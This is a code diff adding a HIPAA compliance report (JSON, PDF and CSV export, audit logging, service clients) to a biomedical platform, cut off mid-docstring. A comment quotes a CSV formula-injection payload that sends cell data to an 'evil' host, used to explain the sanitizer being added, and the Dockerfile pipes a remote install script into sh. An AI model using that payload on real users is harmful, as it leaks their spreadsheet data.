diff --git a/Dockerfile b/Dockerfile index 89188e6..6248900 100644 --- a/Dockerfile +++ b/Dockerfile @@ -28,7 +28,12 @@ WORKDIR /app # omnibioai-ui, omnibioai-launcher) -- Debian trixie's own repo ships # nodejs 20.x, matching the frontend-builder stage's node:20 above, so no # third-party NodeSource script is needed to pin the major version. -RUN apt-get update && apt-get install -y --no-install-recommends build-essential gcc g++ pkg-config libssl-dev libffi-dev curl ca-certificates cloc nodejs npm && curl https://sh.rustup.rs -sSf | sh -s -- -y && rm -rf /var/lib/apt/lists/* +# libpango/libcairo/libgdk-pixbuf/shared-mime-info/fonts-liberation: real +# runtime deps of weasyprint (compliance/pdf.py, HIPAA Basic Compliance +# Report v0.8.0) -- it renders HTML/CSS to PDF via Pango/Cairo, not a +# pure-Python engine, and imports libgobject at process start, so these +# are needed here even though nothing else in this image did before. +RUN apt-get update && apt-get install -y --no-install-recommends build-essential gcc g++ pkg-config libssl-dev libffi-dev curl ca-certificates cloc nodejs npm libpango-1.0-0 libpangocairo-1.0-0 libgdk-pixbuf2.0-0 libcairo2 shared-mime-info fonts-liberation && curl https://sh.rustup.rs -sSf | sh -s -- -y && rm -rf /var/lib/apt/lists/* ENV PATH="/root/.cargo/bin:${PATH}" diff --git a/backend/pyproject.toml b/backend/pyproject.toml index 7d399a3..0edec7f 100644 --- a/backend/pyproject.toml +++ b/backend/pyproject.toml @@ -17,6 +17,13 @@ dependencies = [ "neo4j>=5.0", "pip-audit>=2.7", "PyJWT[crypto]>=2.8", + # HIPAA Basic Compliance Report v0.8.0: PDF generation (compliance/pdf.py). + # Jinja2 renders templates/hipaa_report.html to a string; WeasyPrint + # renders that HTML/CSS string to a PDF. Neither was a dependency of any + # kind before this -- confirmed by scanning every requirements/pyproject + # in the workspace during discovery, zero hits. + "weasyprint>=62.0", + "jinja2>=3.1", ] [project.optional-dependencies] diff --git a/backend/src/control_center/compliance/__init__.py b/backend/src/control_center/compliance/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/backend/src/control_center/compliance/audit_log.py b/backend/src/control_center/compliance/audit_log.py new file mode 100644 index 0000000..0a7c2ed --- /dev/null +++ b/backend/src/control_center/compliance/audit_log.py @@ -0,0 +1,89 @@ +"""HIPAA Basic Compliance Report v0.8.0: audit trail for the report +feature's own usage. Reuses the existing `audit:events` Redis stream -- +the same platform-wide, multi-writer event bus omnibioai-security-audit's +consumer already drains into its durable `audit_events` table, and that +omnibioai-api-gateway's own middleware (AuthMiddleware/PolicyMiddleware/ +HpcMiddleware/AuditMiddleware -- see checks/gateway_traffic.py's own +comment for that inventory) already writes to. This module makes +control-center one more writer into infrastructure that already exists; +it does not add a new stream, a new consumer, or a new persistence +table. The event shape below matches omnibioai-security-audit's own +AuditEvent pydantic model (audit/models.py) field-for-field, so if/when +that service's consumer processes this stream, an event written here +persists as a normal, queryable AuditEventRecord row through the +existing GET /audit/events API -- no changes needed on that side. + +Pre-merge security review finding (2026-08-12): "generating a HIPAA +compliance report is itself a sensitive administrative action that isn't +currently recorded anywhere" -- this module is that record. Called from +router.py after each of the three endpoints successfully builds its +response (JSON/PDF/CSV) -- never on a 401/403/404, which have nothing to +record here. + +Best-effort, fire-and-forget, synchronous: matches the exact posture +every other audit-write call site in this platform documents for itself +(omnibioai-security-audit's AuditLogger.log(), omnibioai-auth's +audit_service.log_event -- both "NEVER break core system", swallow and +log a warning rather than raise). Synchronous, not async, matching +analytics/cache.py's own established pattern of doing a single blocking +Redis call from inside an async route handler -- a single XADD is fast +enough that a dedicated async Redis client would be new-pattern +complexity this module doesn't need. +""" +from __future__ import annotations + +import json +import logging +import os +import uuid +from datetime import date, datetime, timezone + +import redis + +logger = logging.getLogger("control_center.compliance.audit_log") + +# Same env var names/defaults omnibioai-security-audit's own +# AuditConfig uses (audit/config.py) -- not redefined independently, so +# a deployment that already points AUDIT_STREAM/AUDIT_MAXLEN somewhere +# non-default for that service doesn't need a second, possibly-drifting +# set of env vars here. +REDIS_URL = os.environ.get("REDIS_URL", "redis://redis:6379") +AUDIT_STREAM = os.environ.get("AUDIT_STREAM", "audit:events") +MAX_STREAM_LENGTH = int(os.environ.get("AUDIT_MAXLEN", "1000000")) + +_redis = redis.from_url(REDIS_URL, decode_responses=True) + + +def log_report_access( + *, actor: str, organization_id: int, from_date: date, to_date: date, report_format: str, +) -> None: + """Records one "a platform_admin generated/downloaded a HIPAA + compliance report" event. `actor` is the same email/sub value + router.py already resolves as generated_by -- not re-derived here, + so this module never touches the JWT itself. + """ + event = { + "event_id": str(uuid.uuid4()), + "timestamp": datetime.now(timezone.utc).isoformat(), + "service": "control-center", + "event_type": "compliance_report_accessed", + "user_id": actor, + "action": "generate", + "resource": f"organization:{organization_id}", + "decision": "success", + "reason": None, + "trace_id": None, + "context": { + "organization_id": organization_id, + "from_date": from_date.isoformat(), + "to_date": to_date.isoformat(), + "format": report_format, + }, + } + try: + _redis.xadd(AUDIT_STREAM, {"data": json.dumps(event)}, maxlen=MAX_STREAM_LENGTH, approximate=True) + except Exception: + # Never let an audit-logging failure break the actual report + # response that already succeeded -- see this module's own + # docstring. + logger.warning("compliance_report_audit_log_failed", exc_info=True) diff --git a/backend/src/control_center/compliance/auth_client.py b/backend/src/control_center/compliance/auth_client.py new file mode 100644 index 0000000..823f8e7 --- /dev/null +++ b/backend/src/control_center/compliance/auth_client.py @@ -0,0 +1,156 @@ +"""HIPAA Basic Compliance Report v0.8.0: thin async httpx client to +omnibioai-auth, mirroring analytics/billing_client.py's exact shape +(module-level BILLING_URL-style env var, one `_get` helper, the caller's +own Authorization header forwarded unmodified -- Zero Trust, the same +posture every other cross-service call in this platform already takes: +omnibioai-auth's own require_permission(MANAGE_ALL_ORGS) is what actually +authorizes each call below, not this module). + +Kept separate from analytics/billing_client.py and the existing +api/routes_audit_proxy.py (a 1:1 browser-facing relay, not meant for +server-side fan-out) rather than reused -- this package's own client for +its own two upstream calls, same "compliance doesn't reach into +analytics' internals" boundary usage_event_query_service.py drew in +omnibioai-billing for the sibling reason (see that module's own comment). + +Pre-merge security review finding (2026-08-12): every function here used +to collapse "the fetch failed" and "the fetch succeeded and found +nothing" into the same empty-list/None shape. For a compliance report, +those are not the same thing -- a report that silently renders as "zero +users, zero events" because omnibioai-auth was unreachable is a false +negative, not an empty result. Every function now returns an explicit +status alongside its data (`"ok"` / `"not_found"` / `"unavailable"`, or +a `truncated`/`unavailable` bool pair for the paginated list functions) +so service.py can tell the two apart and surface it in +`sources_unavailable` rather than producing a misleadingly clean report. +""" +from __future__ import annotations + +import os +from datetime import datetime +from typing import Any, Optional + +import httpx + +IAM_URL = os.environ.get("IAM_URL", "http://auth-service:8001") +_TIMEOUT_SECONDS = 10.0 + +# Safety cap on how many pages of /platform/audit-events one report will +# follow -- 100 pages * the endpoint's own max page_size (100) = 100,000 +# events per report. A real report window blowing past that almost +# certainly means from_date/to_date is far too wide for a "basic" report; +# stopping here (and telling the caller so, via the returned `truncated` +# flag) beats an unbounded fan-out that could hang the request. +_MAX_PAGES = 100 +_PAGE_SIZE = 100 + + +async def _get(path: str, params: dict[str, Any], authorization: Optional[str]) -> tuple[Optional[dict], str]: + """Returns (body, status) where status is "ok" (200, body is the + parsed JSON), "not_found" (404 -- the resource genuinely doesn't + exist), or "unavailable" (network error, timeout, or any other + non-200 -- the resource's existence is simply unknown). Callers that + only care about "did this succeed" can check `status == "ok"`; + get_organization cares about the not_found/unavailable distinction + specifically (see its own docstring).""" + headers = {"Authorization": authorization} if authorization else {} + try: + async with httpx.AsyncClient(timeout=_TIMEOUT_SECONDS) as client: + r = await client.get(f"{IAM_URL}{path}", params=params, headers=headers) + except httpx.RequestError: + return None, "unavailable" + if r.status_code == 404: + return None, "not_found" + if r.status_code != 200: + return None, "unavailable" + return r.json(), "ok" + + +async def get_organization(organization_id: int, authorization: Optional[str]) -> tuple[Optional[dict], str]: + """GET /orgs/{organization_id} -- used for the report's own display + name (organization_name). The not_found/unavailable distinction + matters here specifically: service.py raises a real 404 + (OrganizationNotFoundError) on "not_found" -- a report for an org + that doesn't exist should say so, not silently render an empty + report labeled "Organization #N" -- but degrades to a placeholder + label (and records the source as unavailable) on "unavailable", + since a transient auth-service outage says nothing about whether the + org actually exists. + """ + return await _get(f"/orgs/{organization_id}", {}, authorization) + + +async def get_org_members(organization_id: int, authorization: Optional[str]) -> tuple[list[dict], str]: + """GET /orgs/{organization_id}/members -- [{user_id, email, status, + roles}, ...]. Unpaginated (the endpoint itself returns a plain list, + no page/total envelope) -- same "confirmed unpaginated before relying + on it" gate analytics/service.py's own team-roster fetch documents + for its sibling call. Returns ([], status) on any failure -- status + is "not_found"/"unavailable" from the underlying fetch, or + "unavailable" if the response wasn't the list shape expected (a + malformed/unexpected body is treated the same as a fetch failure, + not silently accepted as "zero members"). + """ + result, status = await _get(f"/orgs/{organization_id}/members", {}, authorization) + if status == "ok" and isinstance(result, list): + return result, "ok" + return [], status if status != "ok" else "unavailable" + + +async def list_all_audit_events( + *, + organization_id: Optional[int], + start_date: datetime, + end_date: datetime, + event_type: Optional[str] = None, + authorization: Optional[str], +) -> tuple[list[dict], bool, bool]: + """Pages through GET /platform/audit-events until exhausted or + _MAX_PAGES is hit. Returns (items, truncated, unavailable). + + `truncated=True` means the pagination cap was hit -- real data likely + exists beyond what was fetched (the report window is probably too + wide for a "basic" report). `unavailable=True` means a page fetch + itself failed (network error or non-200) -- `items` holds whatever + was collected before the failure, which must be treated as an + unreliable partial sample, not a definitive (even if small) result. + These are deliberately distinct signals: a wide-but-working report + should say "truncated", not "unavailable" -- only a genuine fetch + failure should say the latter. + + organization_id=None fetches platform-wide (used for login events, + which are never organization-scoped at the source -- see this + package's service.py for why, and how the caller filters this result + down to one org's members afterward). + """ + items: list[dict] = [] + page = 1 + while page <= _MAX_PAGES: + params: dict[str, Any] = { + "page": page, + "page_size": _PAGE_SIZE, + "start_date": start_date.isoformat(), + "end_date": end_date.isoformat(), + } + if organization_id is not None: + params["organization_id"] = organization_id + if event_type is not None: + params["event_type"] = event_type + + result, status = await _get("/platform/audit-events", params, authorization) + if status != "ok": + # A fetch failure mid-pagination still leaves `items` holding + # whatever earlier pages already succeeded -- returned as-is, + # but flagged unavailable so the caller never mistakes a + # partial sample for a complete (if small) result. + return items, False, True + + page_items = result.get("items", []) + items.extend(page_items) + + total_pages = result.get("total_pages", 0) + if page >= total_pages or not page_items: + return items, False, False + page += 1 + + return items, True, False diff --git a/backend/src/control_center/compliance/billing_client.py b/backend/src/control_center/compliance/billing_client.py new file mode 100644 index 0000000..cfcb097 --- /dev/null +++ b/backend/src/control_center/compliance/billing_client.py @@ -0,0 +1,87 @@ +"""HIPAA Basic Compliance Report v0.8.0: thin async httpx client to +omnibioai-billing's usage_events read endpoint (Step 1 of this report, +omnibioai-billing PR feature/hipaa-report-usage-events-read). Same +_get/Authorization-forwarding shape as auth_client.py and +analytics/billing_client.py -- not merged with the latter, see +auth_client.py's own module docstring for why. + +Pre-merge security review finding (2026-08-12): same fix as +auth_client.py -- list_all_usage_events now returns an explicit +`unavailable` flag distinct from `truncated`, so a billing-service +outage doesn't get silently rendered as "this org made zero RAG +queries." See auth_client.list_all_audit_events's own docstring for the +full reasoning (identical here). +""" +from __future__ import annotations + +import os +from datetime import date +from typing import Any, Optional + +import httpx + +BILLING_URL = os.environ.get("BILLING_URL", "http://billing-service:8005") +_TIMEOUT_SECONDS = 10.0 + +# Same reasoning/value as auth_client.py's own _MAX_PAGES: a bound on how +# much of one report's window this will fan out for before treating the +# result as a truncated sample rather than a complete one. +_MAX_PAGES = 100 +_PAGE_SIZE = 200 # usage_event_query_service.py's own _MAX_PAGE_SIZE + + +async def list_all_usage_events( + *, + organization_id: int, + start_date: date, + end_date: date, + resource: Optional[str] = None, + authorization: Optional[str], +) -> tuple[list[dict], bool, bool]: + """Pages through GET /billing/organizations/{organization_id}/usage-events + until exhausted or _MAX_PAGES is hit. Returns (items, truncated, + unavailable) -- see auth_client.list_all_audit_events's docstring for + what each flag means; the same distinction applies here. + """ + headers = {"Authorization": authorization} if authorization else {} + items: list[dict] = [] + offset = 0 + page = 0 + + async with httpx.AsyncClient(timeout=_TIMEOUT_SECONDS) as client: + while page < _MAX_PAGES: + params: dict[str, Any] = { + "start_date": start_date.isoformat(), + "end_date": end_date.isoformat(), + "limit": _PAGE_SIZE, + "offset": offset, + } + if resource is not None: + params["resource"] = resource + + try: + r = await client.get( + f"{BILLING_URL}/billing/organizations/{organization_id}/usage-events", + params=params, headers=headers, + ) + except httpx.RequestError: + # A fetch failure mid-pagination still leaves `items` + # holding whatever earlier pages already succeeded -- + # returned as-is, but flagged unavailable, same + # "partial sample, not a small-but-complete result" + # reasoning as auth_client.py. + return items, False, True + if r.status_code != 200: + return items, False, True + + result = r.json() + page_events = result.get("events", []) + items.extend(page_events) + + total_count = result.get("total_count", 0) + offset += len(page_events) + page += 1 + if offset >= total_count or not page_events: + return items, False, False + + return items, True, False diff --git a/backend/src/control_center/compliance/csv_export.py b/backend/src/control_center/compliance/csv_export.py new file mode 100644 index 0000000..65b8ac8 --- /dev/null +++ b/backend/src/control_center/compliance/csv_export.py @@ -0,0 +1,106 @@ +"""HIPAA Basic Compliance Report v0.8.0: renders the same report context +pdf.py consumes into a single CSV -- one section per block, separated by +a blank row and a "## Section Name" marker row, the same shape a reader +opening this in a spreadsheet app or a plain text editor can both follow +without a header line lying about how many columns the rest of the file +has (Section 1 is a 2-column metric/value table; Sections 2-4 are wider). +No new csv-writing convention invented -- csv.writer + io.StringIO is the +exact mechanism analytics/router.py's own /analytics/export already uses. + +Pre-merge security review finding (2026-08-12): every string field here +-- organization_name, user_label, actor_label, event label, generated_by +-- ultimately traces back to user-controlled input (an org name is a +free-text field any org member with create/rename permission can set; +Organization.name has no character-class validation in omnibioai-auth's +own schema). csv.writer performs no formula-injection sanitization on +its own, so a value like `=HYPERLINK("http://evil/?x="&A1)` written +verbatim would execute as a live formula for anyone who opens this +export in Excel/Sheets/LibreOffice -- the well-known CSV/Formula +Injection class (CWE-1236, OWASP). `_writerow` below is the one place +every row passes through, so every cell in every section is covered by +construction -- there is no code path in this module that can call +`writer.writerow` directly and skip it. +""" +from __future__ import annotations + +import csv +import io +from typing import Any + +# The four leading characters spreadsheet applications treat as "this +# cell is a formula" -- the standard set the OWASP CSV Injection cheat +# sheet and every major vendor mitigation (Google, Microsoft, GitHub) +# neutralize. A leading tab/CR is a secondary, much rarer vector some +# guidance also lists; not included here to keep the mitigation focused +# on the actual, demonstrated vector (org names), not a speculative one. +_FORMULA_PREFIXES = ("=", "+", "-", "@") + + +def _sanitize_cell(value: Any) -> Any: + """Neutralizes formula injection: any cell whose string form starts + with =, +, -, or @ gets a leading apostrophe, the standard Excel/ + Sheets/LibreOffice convention for "treat this as literal text, not a + formula" -- the cell still displays the original value (spreadsheet + apps hide the leading apostrophe), it just never executes. + + Non-string values (int/None) are returned unchanged -- a plain + integer or None can never start with a formula-trigger character, + and preserving the original type keeps numeric columns numeric + rather than silently stringifying every cell in the file. + """ + if not isinstance(value, str) or not value: + return value + if value[0] in _FORMULA_PREFIXES: + return "'" + value + return value + + +def _writerow(writer: Any, cells: list[Any]) -> None: + writer.writerow([_sanitize_cell(c) for c in cells]) + + +def render_report_csv(context: dict[str, Any]) -> str: + buffer = io.StringIO() + writer = csv.writer(buffer) + + _writerow(writer, ["HIPAA Basic Compliance Report"]) + _writerow(writer, ["Organization", f"{context['organization_name']} (org #{context['organization_id']})"]) + _writerow(writer, ["Period", f"{context['from_date']} to {context['to_date']}"]) + _writerow(writer, ["Generated", f"{context['generated_at']} by {context['generated_by']}"]) + + sources_unavailable = context.get("sources_unavailable") or [] + if sources_unavailable: + _writerow(writer, []) + _writerow(writer, ["WARNING: one or more data sources were unavailable during report generation"]) + for source in sources_unavailable: + _writerow(writer, ["Unavailable source", source]) + _writerow(writer, []) + + _writerow(writer, ["## Section 1: Executive Summary"]) + _writerow(writer, ["Metric", "Value"]) + summary = context["summary"] + _writerow(writer, ["Total Users", summary["total_users"]]) + _writerow(writer, ["Active Users In Period", summary["active_users"]]) + _writerow(writer, ["RAG Queries", summary["total_rag_queries"]]) + _writerow(writer, ["Failed Login Attempts", summary["failed_login_attempts"]]) + _writerow(writer, ["Security Events Requiring Review", summary["security_events_requiring_review"]]) + _writerow(writer, []) + + _writerow(writer, ["## Section 2: User Access Log"]) + _writerow(writer, ["User", "Login Count", "Last Login", "Failed Attempts"]) + for row in context["user_access"]: + _writerow(writer, [row["user_label"], row["login_count"], row["last_login"], row["failed_attempts"]]) + _writerow(writer, []) + + _writerow(writer, ["## Section 3: RAG Query Log"]) + _writerow(writer, ["Timestamp", "User", "Trace ID"]) + for row in context["rag_queries"]: + _writerow(writer, [row["timestamp"], row["user_label"], row["trace_id"] or ""]) + _writerow(writer, []) + + _writerow(writer, ["## Section 4: Security Events"]) + _writerow(writer, ["Timestamp", "Event", "Actor", "Outcome"]) + for row in context["security_events"]: + _writerow(writer, [row["timestamp"], row["label"], row["actor_label"], row["outcome"]]) + + return buffer.getvalue() diff --git a/backend/src/control_center/compliance/pdf.py b/backend/src/control_center/compliance/pdf.py new file mode 100644 index 0000000..9bbb4d8 --- /dev/null +++ b/backend/src/control_center/compliance/pdf.py @@ -0,0 +1,55 @@ +"""HIPAA Basic Compliance Report v0.8.0: renders templates/hipaa_report.html +to a PDF byte string via Jinja2 (templating) + WeasyPrint (HTML/CSS -> PDF). + +The template lives inside this package (compliance/templates/), not a +top-level backend/templates/ directory, deliberately: this repo's +Dockerfile only `COPY`s backend/src into the image (confirmed by reading +both Dockerfile and docker/Dockerfile directly) -- anything outside +backend/src/ would silently not exist at runtime. Resolving the template +path via `Path(__file__).parent` keeps it correct in both dev and the +built image without touching the Dockerfile's COPY list. + +service.py owns building the `context` dict this module renders (the +report's actual data); this module owns none of that -- request/response +wiring for the PDF endpoint route lives in router.py (a later PR), same +"one file, one responsibility" split every other package in this codebase +already follows (see billing_client.py/cache.py's own module docstrings). +""" +from __future__ import annotations + +from pathlib import Path +from typing import Any + +from jinja2 import Environment, FileSystemLoader, select_autoescape +from weasyprint import HTML + +_TEMPLATE_DIR = Path(__file__).parent / "templates" +_TEMPLATE_NAME = "hipaa_report.html" + +# module-level, not rebuilt per call -- Environment/template compilation is +# the expensive part of a Jinja2 render; the actual context data changes +# per call, the template itself never does within one process lifetime. +_env = Environment( + loader=FileSystemLoader(str(_TEMPLATE_DIR)), + autoescape=select_autoescape(["html"]), +) + + +def render_report_html(context: dict[str, Any]) -> str: + """Renders templates/hipaa_report.html with `context`. Split out from + render_report_pdf() below so a test (or a future HTML-preview + endpoint) can exercise the templating step alone, without paying + WeasyPrint's much heavier HTML/CSS layout cost. + """ + template = _env.get_template(_TEMPLATE_NAME) + return template.render(**context) + + +def render_report_pdf(context: dict[str, Any]) -> bytes: + """Renders templates/hipaa_report.html with `context`, then lays it out + to a PDF. `base_url` is this module's own directory so the template's + inline `` and any future relative asset reference resolves + correctly regardless of the caller's own working directory. + """ + html = render_report_html(context) + return HTML(string=html, base_url=str(Path(__file__).parent)).write_pdf() diff --git a/backend/src/control_center/compliance/router.py b/backend/src/control_center/compliance/router.py new file mode 100644 index 0000000..574c4c1 --- /dev/null +++ b/backend/src/control_center/compliance/router.py @@ -0,0 +1,187 @@ +"""GET /compliance/hipaa-report[/pdf|/csv] -- Basic HIPAA Compliance +Report (OmniBioAI Studio v0.8.0). Platform_admin-only for this version: +org_admin scoping is deferred to v0.9.0 -- two of the four sections' +sources (login events, the security-audit deny stream) have no org-scoped +read path today, and building one is a real backend change in +omnibioai-auth, not something this report's own router can paper over +(see compliance/service.py's module docstring for the full reasoning). + +Every route: 1) requires manage_all_orgs (the same platform-admin bypass +permission every other /platform/* surface in this ecosystem already +uses -- auth/app/rbac.py::MANAGE_ALL_ORGS, reused verbatim, not +redefined); 2) reads-through the existing 1-hour-capable Redis cache +(analytics/cache.py -- this package doesn't own a second caching +mechanism); 3) delegates all aggregation to service.py -- no computation +happens in this file; 4) records a compliance_report_accessed audit +event on success (audit_log.py). + +Pre-merge security review fix (2026-08-12): generated_by/generated_at are +deliberately NOT part of what _fetch_cached_report returns -- that +function's return value is exactly what gets cached, and caching who +asked for a report (and when) would mean every cache HIT re-attributes +the report to whoever happened to trigger the original cache MISS. Both +fields are stamped fresh, per request, in _finalize_report below, after +the cache lookup -- a JSON/PDF/CSV response's own "generated by/at" +header is always accurate for the request that produced it, cached data +or not. +""" +from __future__ import annotations + +import asyncio +from datetime import date, datetime, timezone +from typing import Optional + +from fastapi import APIRouter, Depends, Header, HTTPException, Query +from fastapi.responses import Response + +from control_center.analytics import cache +from control_center.compliance import audit_log, csv_export, pdf, service +from control_center.core.auth import require_permission + +router = APIRouter(prefix="/compliance", tags=["compliance"]) + +# Same string omnibioai-auth's app/rbac.py::MANAGE_ALL_ORGS, +# omnibioai-billing's core/iam.py, and control-center's own +# analytics/permissions.py already check -- one ecosystem-wide meaning, +# not redefined per module. +MANAGE_ALL_ORGS = "manage_all_orgs" + +_CACHE_TTL_SECONDS = 3600 # task brief: "Cache report 1hr (expensive query)" + +_require_platform_admin = require_permission(MANAGE_ALL_ORGS) + + +def _cache_key(organization_id: int, from_date: date, to_date: date) -> str: + return f"compliance:hipaa-report:{organization_id}:{from_date.isoformat()}:{to_date.isoformat()}" + + +def _generated_by(payload: dict) -> str: + return payload.get("email") or payload.get("sub") or "unknown" + + +def _validate_range(from_date: date, to_date: date) -> None: + if from_date > to_date: + raise HTTPException(400, "from_date must be on or before to_date") + + +async def _fetch_cached_report(*, org_id: int, from_date: date, to_date: date, authorization: Optional[str]) -> dict: + """Returns the cacheable report body -- summary/sections/ + sources_unavailable/truncated, nothing request-specific. See this + module's own docstring for why generated_by/generated_at are + deliberately excluded from what this function (and therefore the + cache) returns. + """ + key = _cache_key(org_id, from_date, to_date) + return await cache.get_or_set_async( + key, + "hipaa_report", + lambda: service.build_report( + organization_id=org_id, from_date=from_date, to_date=to_date, authorization=authorization, + ), + ttl=_CACHE_TTL_SECONDS, + ) + + +async def _build_report( + *, org_id: int, from_date: date, to_date: date, authorization: Optional[str], generated_by: str, +) -> dict: + """The cached body plus fresh, request-specific provenance -- the + shape every one of the three routes actually needs. 404s on a + confirmed-nonexistent organization (service.OrganizationNotFoundError + -- a real 404 from omnibioai-auth, not a network hiccup); any other + downstream failure degrades gracefully instead (see + sources_unavailable in the returned body).""" + try: + data = await _fetch_cached_report(org_id=org_id, from_date=from_date, to_date=to_date, authorization=authorization) + except service.OrganizationNotFoundError as e: + raise HTTPException(404, str(e)) + return { + **data, + "generated_at": datetime.now(timezone.utc).isoformat(), + "generated_by": generated_by, + } + + +def _filename_stem(org_id: int, from_date: date, to_date: date) -> str: + return f"hipaa-report-org{org_id}-{from_date.isoformat()}-to-{to_date.isoformat()}" + + +@router.get("/hipaa-report") +async def hipaa_report( + from_date: date = Query(...), + to_date: date = Query(...), + org_id: int = Query(...), + authorization: Optional[str] = Header(default=None), + admin: dict = Depends(_require_platform_admin), +) -> dict: + _validate_range(from_date, to_date) + generated_by = _generated_by(admin) + report = await _build_report( + org_id=org_id, from_date=from_date, to_date=to_date, authorization=authorization, generated_by=generated_by, + ) + audit_log.log_report_access( + actor=generated_by, organization_id=org_id, from_date=from_date, to_date=to_date, report_format="json", + ) + return report + + +@router.get("/hipaa-report/pdf") +async def hipaa_report_pdf( + from_date: date = Query(...), + to_date: date = Query(...), + org_id: int = Query(...), + authorization: Optional[str] = Header(default=None), + admin: dict = Depends(_require_platform_admin), +) -> Response: + _validate_range(from_date, to_date) + generated_by = _generated_by(admin) + context = await _build_report( + org_id=org_id, from_date=from_date, to_date=to_date, authorization=authorization, generated_by=generated_by, + ) + # WeasyPrint's layout pass is a real, blocking CPU cost (not I/O) -- + # off the event loop via run_in_executor, the same pattern + # api/routes_llm.py's own count_abstracts/list_indexed_domains already + # use for their blocking filesystem walks, so this request doesn't + # stall every other concurrent request this process is serving. + loop = asyncio.get_event_loop() + pdf_bytes = await loop.run_in_executor(None, pdf.render_report_pdf, context) + + audit_log.log_report_access( + actor=generated_by, organization_id=org_id, from_date=from_date, to_date=to_date, report_format="pdf", + ) + + filename = f"{_filename_stem(org_id, from_date, to_date)}.pdf" + return Response( + content=pdf_bytes, + media_type="application/pdf", + headers={"Content-Disposition": f'attachment; filename="{filename}"'}, + ) + + +@router.get("/hipaa-report/csv") +async def hipaa_report_csv( + from_date: date = Query(...), + to_date: date = Query(...), + org_id: int = Query(...), + authorization: Optional[str] = Header(default=None), + admin: dict = Depends(_require_platform_admin), +) -> Response: + _validate_range(from_date, to_date) + generated_by = _generated_by(admin) + context = await _build_report( + org_id=org_id, from_date=from_date, to_date=to_date, authorization=authorization, generated_by=generated_by, + ) + # Cheap (plain string formatting, no layout engine) unlike the PDF + # route above -- no run_in_executor needed here. + csv_text = csv_export.render_report_csv(context) + + audit_log.log_report_access( + actor=generated_by, organization_id=org_id, from_date=from_date, to_date=to_date, report_format="csv", + ) + + filename = f"{_filename_stem(org_id, from_date, to_date)}.csv" + return Response( + content=csv_text, + media_type="text/csv", + headers={"Content-Disposition": f'attachment; filename="{filename}"'}, + ) diff --git a/backend/src/control_center/compliance/service.py b/backend/src/control_center/compliance/service.py new file mode 100644 index 0000000..3a08a9d --- /dev/null +++ b/backend/src/control_center/compliance/service.py @@ -0,0 +1,291 @@ +"""HIPAA Basic Compliance Report v0.8.0: data aggregation. Fans out to +omnibioai-auth (org roster + IAM audit ledger) and omnibioai-billing +(usage_events, Step 1's new read endpoint), then shapes the result into +the four sections this report actually has data for -- Executive Summary, +User Access Log, RAG Query Log, Security Events. No aggregation logic +lives in router.py (a later step): that file only owns request/response +wiring and the Redis cache-through, the same split analytics/router.py +already established for this codebase's other report-shaped endpoint +family. + +Two real, source-level scoping gaps discovered while building this +(neither obvious from the task brief, both confirmed by reading the +producing code directly, not assumed): + +1. login_success/login_failure AuditEvent rows in omnibioai-auth are + NEVER organization-scoped (`app/services/auth_service.py`'s + `authenticate_user`/`_log_login_failure` never pass `organization_id` + to `audit_service.log_event` -- login happens before any org context + is resolved). Filtering by organization_id would silently return zero + rows for every org; not filtering would leak every other org's login + activity into a report scoped to one org. Resolved here by fetching + login events platform-wide, then filtering to this org's own roster + (`auth_client.get_org_members`) client-side -- accurate for a user + whose org membership hasn't changed near the report boundary; a user + who joined/left around the edges of the requested period can be + mis-included/excluded, since the roster is fetched as of "now", not + as of the report period. This is a real, documented limitation (not + fixed here -- it needs the org-scoped login architecture v0.9 is + scoped to deliver), see test_multi_org_user_login_appears_in_every_ + member_org's_report in test_compliance_service.py for what this looks + like in practice. +2. The generic cross-service audit ledger (omnibioai-security-audit's + `audit_events` table, `decision=="deny"` for 403s) has no + `organization_id` column at all (confirmed reading + omnibioai-security-audit/db/models.py directly, and already known from + Usage Analytics v1's own discovery -- see + project_usage_analytics_v1 in memory). Deliberately NOT used as a + Section 4 source for that reason -- including it would either be + platform-wide data mislabeled as one org's, or silently empty if + filtered. `role_assignment_denied` (omnibioai-auth's own IAM ledger, + which IS organization_id-scoped -- verified in role_service.py) is + the only per-org-accurate "access denied" signal available today, so + Section 4's "permission denied" row reflects that specifically, not a + generic 403 count. + +Pre-merge security review fixes (2026-08-12): + +- `sources_unavailable`: every auth_client/billing_client call now + reports whether it actually succeeded, not just how much data it + returned. A downstream outage is recorded by name in + `sources_unavailable` rather than silently rendering as "this org had + zero users/events" -- see auth_client.py's own docstring for the + status vocabulary this consumes. +- `OrganizationNotFoundError`: get_organization's "not_found" status + (a real 404 from omnibioai-auth, not a network failure) now raises + here instead of silently falling back to a placeholder label -- + router.py converts this to a real HTTP 404. +- generated_by/generated_at are NO LONGER part of this function's + return value or the cached payload -- router.py stamps them fresh on + every response, cached or not, so a cache hit can never attribute the + report to whichever admin happened to trigger the original cache-miss + computation. See router.py's own comment at the call site. +- `security_incidents` (a name implying a legal/HIPAA reportable + determination this report never makes) is replaced by two separate, + more honestly-named counters: `failed_login_attempts` (routine, + expected operational noise) and `security_events_requiring_review` + (role_assignment_denied/mfa_verification_failed specifically -- see + _INCIDENT_EVENT_TYPES). The Section 4 events table itself is + unchanged -- both kinds of event still appear there, only the Section + 1 summary terminology changed. +""" +from __future__ import annotations + +from datetime import date, datetime, time +from typing import Any, Optional + +from control_center.compliance import auth_client, billing_client + +# omnibioai-auth/app/services/audit_service.py::AuditEventType -- the +# subset that belongs in Section 4 (Security Events). login_success/ +# login_failure are handled separately (Section 2 + the "failed +# authentications" row) since they need the org-membership filter above; +# every event_type here IS organization_id-scoped at the source, so +# org_scoped_events (fetched with organization_id=org_id already applied) +# needs no further filtering. +_SECURITY_EVENT_TYPES = { + "role_created", "role_assigned", "role_removed", + "permission_granted", "permission_revoked", + "organization_membership_changed", + "role_assignment_denied", + "user_enabled", "user_disabled", + "api_key_created", "api_key_revoked", + "oauth_client_created", "oauth_client_revoked", + "sso_configuration_created", "sso_configuration_updated", "sso_enforcement_changed", + "sso_override_created", "sso_override_removed", + "mfa_reset_by_admin", "mfa_verification_failed", +} + +# Event types whose mere occurrence belongs in Section 1's +# security_events_requiring_review count -- denials/failures, not every +# role change (an admin routinely assigning a role isn't something that +# needs review; a rejected privilege-escalation attempt or a failed MFA +# check is). Deliberately excludes login_failure -- that has its own, +# separately-named counter (failed_login_attempts) precisely because a +# mistyped password is not the same kind of thing as a rejected +# escalation attempt, and conflating them under one "incidents" number +# was the exact problem this rename fixes. +_INCIDENT_EVENT_TYPES = {"role_assignment_denied", "mfa_verification_failed"} + + +class OrganizationNotFoundError(Exception): + """Raised when omnibioai-auth confirms (a real 404, not a network + failure -- see 